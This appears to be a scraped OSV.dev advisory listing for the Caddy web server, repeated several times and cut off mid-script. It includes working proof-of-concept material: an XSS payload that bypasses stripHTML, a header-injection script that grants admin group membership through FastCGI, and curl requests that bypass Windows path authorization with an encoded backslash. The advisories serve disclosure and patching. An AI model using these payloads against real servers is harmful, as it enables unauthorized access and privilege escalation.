CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Feb 20, 2018

v0.10.10 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Oct 09, 2017

v0.10.9 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Sep 12, 2017

v0.10.8 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
